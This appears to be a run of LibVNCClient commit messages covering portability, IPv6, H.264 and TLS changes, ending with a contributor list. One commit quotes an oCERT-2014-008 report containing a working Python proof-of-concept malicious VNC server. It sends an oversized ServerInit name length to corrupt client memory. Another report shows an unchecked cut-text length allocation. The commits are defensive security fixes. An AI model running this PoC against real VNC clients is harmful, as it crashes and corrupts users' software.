- Make h264.c compile with recent libva version by including va_compat.h
- Only enable libva if libva-x11 is installed
- Modified configure help text
Previous help text suggested libva was only build when --with-libva
was specified, while actual behavior is to build it by default.
Warning: THIS CODE IS UNTESTED. Lacking a h.264 capable VNC server
Also no attempt is made to support platforms not using X11
Signed-off-by: Floris Bos <bos@je-eigen-domein.nl>
This fixes the following oCERT report (oCERT-2014-008 pt.2):
There is a similar vulnerability to the previous one I sent. This is related to the ServerInit message where the width, the height of the server's framebuffer, its pixel format, and the name are sent to the client. The name can be used in a malicious manner to trigger a memory corruption in the client.
Field Size
---------------------------------
name-length [4]
name-string [name-length]
Below you will find a PoC script to show the vulnerability. This was tested on Fedora 20 with the latest version of krdc.
I have noticed something, where the memory corruption causes the program to hang but allows you to try to disconnect. After this it hangs. Occasionally there will be segmentation fault in memcpy. This can become more reliable if you connect to a different VNC server first (Or the wrong port on the malicious server) then connecting to the malicious port. Every time I accidentally made the wrong VNC connection attempt the next time I connected it segfault'd.
Just run the script it will listen on port 5900 and connect to it with krdc for example. I have observed Remmina crash more reliably.
import socket,struct,sys
HOST = ""
PORT = 5900
c = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
c.bind((HOST,PORT))
c.listen(1)
conn,addr = c.accept()
print "Connected by ", addr
protocolVersion3008 = "\x52\x46\x42\x20\x30\x30\x33\x2e\x30\x30\x38\x0a"
conn.send(protocolVersion3008)
data = conn.recv(1024) # Receive the version from them.
secTypeNone = "\x01\x01"
secTypeAuth = "\x01\x02"
conn.send(secTypeNone)
data = conn.recv(1024) # Receive the secType choice from them.
secResultOk = "\x00" * 4
secResultNo = "\x00\x00\x00\x01"
conn.send(secResultOk)
data = conn.recv(1024) # Receive the ClientInit (Shared-flag).
frameBufferWidth = 0x0480
frameBufferHeight = 0x0360
bitsPerPixel = 0x20
depth = 0x18
bigEndian = 0x1
trueColor = 0x0
redM = 0x0
greenM = 0x0
blueM = 0x0
redS = 0x0
greenS = 0x0
blueS = 0x0
padding = "\x00\x00\x00"
nameLength = 0xffffffff
nameString = "AA" * 0xFFFF + "\x00\x0a"
conn.send( struct.pack(">HHBBBBHHHBBB",frameBufferWidth, frameBufferHeight, bitsPerPixel, depth, bigEndian, trueColor, redM, greenM, blueM, redS, greenS, blueS) + padding + struct.pack(">I", nameLength) + nameString )
c.close()
Fixes (maybe amongst others) the following oCERT report ([oCERT-2014-008]):
LibVNCServer HandleRFBServerMessage rfbServerCutText malicious msg.sct.length
It looks like there may be a chance for potential memory corruption when a LibVNCServer client attempts to process a Server Cut Text message.
case rfbServerCutText:
{
char *buffer;
if (!ReadFromRFBServer(client, ((char *)&msg) + 1,
sz_rfbServerCutTextMsg - 1))
return FALSE;
msg.sct.length = rfbClientSwap32IfLE(msg.sct.length); << Retrieve malicious length
buffer = malloc(msg.sct.length+1); << Allocate buffer. Can return 0x0
if (!ReadFromRFBServer(client, buffer, msg.sct.length)) << Attempt to write to buffer
return FALSE;
buffer[msg.sct.length] = 0; << Attempt to write to buffer
if (client->GotXCutText)
client->GotXCutText(client, buffer, msg.sct.length); << Attempt to write to buffer
free(buffer);
break;
}
If a message is provided with an extremely large size it is possible to cause the malloc to fail, further leading to an attempt to write 0x0.
With Microsoft Visual C++, we cannot use pthreads (MinGW sports an
emulation library which is the reason we did not need Windows-specific
hacks earlier). Happily, it is very easy to provide Windows-specific
emulations for the pthread calls we use.
[JES: fixed commit message]
Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
Microsoft Visual C++ does not allow pointer arithmetic on void pointers.
[JES: fixed commit message]
Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
To support Microsoft Visual C++, we must not guard Windows-specific code
in MinGW-specific #ifdef guards.
Happily, even 64-bit MSVC defines the WIN32 constant, therefore we can use
that instead.
[JES: fixed commit message, reordered commit, split out unrelated changes]
Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
In Microsoft's Visual C runtime, the snprintf() function is actually
called _snprintf. Let's just #define the former to call the latter.
[JES: fixed commit message]
Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
This change is technically not required to support MSVC, but it was
detected by Microsoft's compiler.
[JES: fixed commit message]
Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
If MallocFrameBuffer() returns FALSE, frame buffer pointer is left to
NULL. Subsequent writes into that buffer could lead to memory
corruption, or even arbitrary code execution.
rfbClientSetClientData() allocates a new rfbClientData, but never gets
cleaned up, which causes memory leaks.
Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
This patch implements support in LibVNCClient for framebuffer updates
encoded as H.264 frames. Hardware accelerated decoding is performed
using VA API.
This is experimental support to let the community explore the possibilities
offered by the potential bandwidth and latency reductions that H.264 encoding
allows. This may be particularly useful for use cases such as online gaming,
hosted desktops, hosted set top boxes...
This patch only provides the client side support and is meant to be used
with corresponding server-side support, as provided by an upcoming patch for
qemu ui/vnc module (to view the display of a virtual machine executing under
QEMU).
With this H.264-based encoding, if multiple framebuffer update messages
are generated for a single server framebuffer modification, the H.264
frame data is sent only with the first update message. Subsequent update
framebuffer messages will contain only the coordinates and size of the
additional updated regions.
Instructions/Requirements:
* The patch should be applied on top of the previous patch I submitted with
minor enhancements to the gtkvncviewer application:
http://sourceforge.net/mailarchive/message.php?msg_id=30323804
* Currently only works with libva 1.0: use branch "v1.0-branch" for libva and
intel-driver. Those can be built as follows:
cd libva
git checkout v1.0-branch
./autogen.sh
make
sudo make install
cd ..
git clone git://anongit.freedesktop.org/vaapi/intel-driver
cd intel-driver
git checkout v1.0-branch
./autogen.sh
make
sudo make install
Signed-off-by: David Verbeiren <david.verbeiren@intel.com>
The current definitions were mostly useful to glibc and followed its
feature_test_macros(3) documentation.
However, this means other platforms still had problems when building with
strict compilation flags. _BSD_SOURCE, for example, is only recognized by
glibc, and other platforms sometimes need _XOPEN_SOURCE instead, or even the
removal of some definitions (such as the outdate _POSIX_SOURCE one).
_POSIX_SOURCE also had to be conditionally defined in some places, as what
it enables or disables during compilation varies across systems.
Besided making libvncserver reverseVNC IPv6-aware, this introduces some changes
on the client side as well to make clients listen on IPv6 sockets, too. Like
the server side, this also uses a separate-socket approach.
For security reasons, it can be important to limit which IP addresses a
LibVNCClient-based client should listen for reverse connections. This
commit adds that option.
To preserve binary backwards-compatibility, the field was added to the end
of the rfbclient struct, and the function ListenAtTcpPort retains its
signature (but calls the new ListenAtTcpPortAndAddress).
[jes: shortened the commit subject, added a longer explanation in the
commit body and adjusted style]
Signed-off-by: Luca Stauble <gnekoz@gmail.com>
Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
The functions gnutls_*_set_priority we used were marked deprecated since
latest GnuTLS version 2.12. However the replacement function
gnutls_priority_set_direct is available since 2.2, which is even lower
than our version requirement 2.4 in configure. The patch just replace
the deprecate function to fix the compile warning.
Signed-off-by: Vic Lee <llyzs@163.com>
Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
GnuTLS seems to expect proper errno values internally. So set them in our
custom push/pull functions. Parts of the patch stolen from libcurl, thanks!
Signed-off-by: Christian Beier <dontmind@freeshell.org>
According to the minilzo README, this brings a significant
speedup on 64-bit architechtures.
Changes compared to old version 1.08 can be found here:
http://www.oberhumer.com/opensource/lzo/lzonews.php
Signed-off-by: Christian Beier <dontmind@freeshell.org>
No functional changes. All files used by _both_ libvncserver and
libvncclient are put into a 'common' directory and references
from other files as well as Autotools and CMake build systems are
updated.
Signed-off-by: Christian Beier <dontmind@freeshell.org>
This implements the xvp VNC extension, which is described in the
community version of the RFB protocol:
http://tigervnc.sourceforge.net/cgi-bin/rfbproto
It is also mentioned in the official RFB protocol.
Redefining strncasecmp to _strnicmp makes libvncclient hang forever in
SetFormatAndEncodings() on Windows when built with MinGW64.
Reported by Tobias Doerffel <tobias.doerffel@gmail.com>, thanks!
This is a small addendum to 0797e42a4a.
Seems that having IPv6 support in the OS does not necessarily mean that
IPV6_TCLASS is available. One such case seems to be Mac OS X 10.5.
This enables setting the DSCP/Traffic Class field of IP/IPv6 packets
sent by a client. For example starting a client with -qosdscp 184
marks all outgoing traffic for expedited forwarding.
Implementation for Win32 is still a TODO, though. See
http://betelco.blogspot.com/2009/03/dscp-marking-under-windows-at.html
for an overview of the Win32 QoS API mess...
Expands the SetNonBlocking() function in libvncclient/sockets.c to also
work under Windows and also changes it to honour maybe already present
socket flags.
A similar function was introduced for libvncserver as well and
all the #ifdef'ed fnctl calls replaced with calls to that one.
Signed-off-by: Christian Beier <dontmind@freeshell.org>
MinGW32 (or more exactly, a rpcndr.h file included by
winsock2.h) typedefs a 'boolean' type that jmorecfg.h
included by jpeglib.h also tries to typedef.
So, tell the jpeg headers.
Closes: 3007302
[jes: pulled the "host" declarations into the conditionally compiled
blocks where that variable is used. Also fixed non-IPv6 connections.]
Signed-off-by: Vic Lee <llyzs@163.com>
Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
The hook is still called after InitialiseRFBConnection() so we can choose
the color settings depending on the vnc server (or settings) in that hook.
This way one can use the "VNC server default format" pixelformat if the
client supports it, or perform a workaround (Intel AMT KVM "classic vnc"
server only works using 8bit colors in RFB3.8)
Signed-off-by: Wouter Van Meir <wouter.vanmeir@pandora.be>
Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
The serverPort member is already set in rfbGetClient(), if we
set it again in rfbInitClient(), this breaks playing of vncrec
files (this relies on serverPort set to -1).
Signed-off-by: Christian Beier <dontmind@freeshell.org>
Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
[jes: adjusted coding style, made sure port is initialized correctly]
Signed-off-by: Vic Lee <llyzs@163.com>
Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
It seems that vino does not send AuthOK when there is no password with
anonymous TLS, and it seems that vino is the only <3.8 VNC server that
handles anonymous TLS at all, so let's not wait for the packet that will
never come.
Signed-off-by: Vic Lee <llyzs@163.com>
Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
The return value now better reflects what has happened:
1 on success (incoming connection on listen socket, we
accepted it successfully), -1 on error, 0 on timeout.
Also change the select calls to not check _all_ possible
file descriptors.
Signed-off-by: Christian Beier <dontmind@freeshell.org>
Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
To make this work, we also have to initialize sockets
to a default value of -1.
Also close a client listen socket if it's open.
Signed-off-by: Christian Beier <dontmind@freeshell.org>
Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
fixes warning about closesocket being implicitly declared.
Signed-off-by: Christian Beier <dontmind@freeshell.org>
Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
Forking the whole process from deep within a library call does
not really work at all with apps that use multiple threads, i.e. every
reasonably modern GUI app. So, provide a non-forking listen function so
that the caller can decide if to fork, start a thread, etc.
This implementation adds a timeout parameter to be able to call the
listen function multiple times so that it's possible to do sth. else
in between, e.g. abort listening.
Signed-off-by: Christian Beier <dontmind@freeshell.org>
Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
Actually, initSockets() has to be called everywhere we possibly
use sockets the first time.
Also fix return value of initSockets().
Signed-off-by: Christian Beier <dontmind@freeshell.org>
Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
When working on a program which searches the display for some image, one
does not want to search again without getting an FB update. Add a
callback to make this possible.
On Windows, the WSA system needs to be initialized to be able to look up
host names.
This patch also changes *addr = 0 to use the constant INADDR_LOOPBACK
instead, which seems to be required on Windows.
SOCKET is redefined in winsock2.h so #undef it where winsock2.h
is included. The changes in rfbproto.c circumvent crosscompiler
errors like 'S_IFMT' undeclared ...', the Makefile.am changes
avoid building linux specific stuff for a win32 host target.
Also added configure option to specify sdl-config.
Signed-off-by: Christian Beier <dontmind@freeshell.org>
Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
This is a pure functionality fix: according to its manpage, stat()
returns 0 on success. Checking for a return value of zero fixes
incorrect results of IsUnixSocket().
Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
There was an unnecessary assignment, and an assignment of a string that
was to be free()ed later, so it has to be strdup()ed.
Both issues spotted by Roman Held.
Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
The flag handling (both compiler options and include paths) are a mess at
the moment. There is no point in forcing "-O2 -g" when these are already
the defaults, and if someone changes the defaults, chances are good they
don't want you clobbering their choices.
The -Wall flag should be handled in configure and thrown into CFLAGS once
rather than every Makefile.am. Plus, this way we can control which
compilers the flag actually gets used with.
Finally, the INCLUDES variable is for -I paths, not AM_CFLAGS. Nor should
it contain -I. as this is already in the default includes setup.
Signed-off-by: Mike Frysinger <vapier@gentoo.org>
Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
Highlite:
* use qualityLevel/zlib_buffer. No new variable is needed.
* Change coding style to recursive fashion.
* Change meaning of qualityLevel== 9 for easy calc zywrle_level:
old:zywrle_level== 1
new:disable ZYWRLE(same as ZRLE)
so, we should not use this value for compatible reason.
* Color mode handling isn't complete.
I provided and checked 16 bit colors(RGB555,RGB565) and
some color mode of 32 bit colors for little endian mode.
we must make and check 24 bit colors and big endian mode.
Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
rfbEncodingSupportedEncodings - What encodings are supported?
rfbEncodingSupportedMessages - What message types are supported?
rfbEncodingServerIdentity - What is the servers version string?
ie: "x11vnc: 0.8.1 lastmod: 2006-04-25 (LibVNCServer 0.9pre)"
Floris Bos
Christian Beier
Brian Bidulock
Daniel Cohen Gindi
Johannes Schindelin
newsoft
Matthias Treydte
Robbert Klarenbeek
David Verbeiren
Raphael Kubo da Costa
Rostislav Lisovy
Monkey
Luca Stauble
Vic Lee
Wouter Van Meir
runge
Alexander Dorokhine
Stefan Becker
Ben Klopfenstein
dscho
runge
steven_carr